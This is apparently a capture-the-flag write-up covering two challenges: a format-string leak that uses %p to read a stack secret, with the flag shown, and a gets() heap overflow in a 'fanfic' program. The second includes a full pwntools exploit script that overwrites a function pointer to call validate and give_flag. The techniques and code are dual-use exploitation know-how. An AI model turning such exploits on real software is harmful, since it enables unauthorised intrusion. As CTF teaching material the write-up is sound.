We look at the content of secret which is at $rbp-0x54 :
x/ga $rbp-0x540x702570251013f249
The program compare with eax. So we need to look at the 32 lowest bits of RAX.
So the secret is : 1013f249
We look for the secret in the leak from the format string.
The content of secret is on 7th pointer.
We do the same on the server
user44798@shell:/problems/format$ ./format
Enter your name: %p%p%p%p%p%p%p
Your name is: 0x400a5a0x7ff00014c7800xe0x7ff0003697000xe(nil)0x732581c900000000
Enter your secret password (in hex)
732581c9
easyctf{p3sky_f0rm4t_s7uff}
The program given is made to write a book chapter by chapter.
When we look at the code we can see that when we edit a chapter that we have already writen :
if(option_val>0&&option_val<=num_ch){printf("Editing chapter\n");printf("Enter new chapter text: \n");curr_ch=fanfic->first_chapter;for(i=1;i<option_val;i++){curr_ch=curr_ch->next_chapter;}gets(curr_ch->content);}
Here we can see that the function gets allow us to overflow the size of curr_ch->content.
But the segmentation fault is triggered when we publish the book, because we call the function print_chapter and the content of our chapter is put in the heap.
So if we look at the heap before the call :
At this point we know that we need to call the validate function. But the function takes an argument used to change the value of success. We have this comparaison :
We see that the function need to have 0x40 (64) to pass the test.
If we look at how the print_chapter, we see that the first argument to the function is EDX (0x804b070) and the second is our content of chapter (ebp-0xc). If we look at the C code now, we realize that the first argument is the chapter number (i).
Okay now we have everything for our exploitation.
Third Step : Build the exploit and Enjoy
We know that we need to create at least 65 articles to sucessfully read the content of flag.txt. We have to override the print_chapter function with validate on the 64th chapter and override it with give_flag on the 65th.
In a first time we need to create 65 casual articles and edit the 64th and 65th to override the print_chapter call.
Exploit.py
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386')
p = 0
b = ELF('./fanfic')
DEBUG = True
def start():
global p, libc, b
if p is not 0:
p.close()
p = process('/problems/fanfic/fanfic')
start()
log.info("Construct ropchain")
ropchain = "A"*258
ropchain += p32(0x080487b4) # validate
ropchain2 = "A"*258
ropchain2 += p32(0x080487ef) # give_flag
p.sendline("lol")
for j in range(1,66):
p.sendline(str(j))
p.sendline("lol")
p.sendline("lol")
p.sendline("1")
p.sendline("64")
p.sendline(ropchain)
p.sendline("1")
p.sendline("65")
p.sendline(ropchain2)
p.recv()
p.sendline("3")
print p.recv()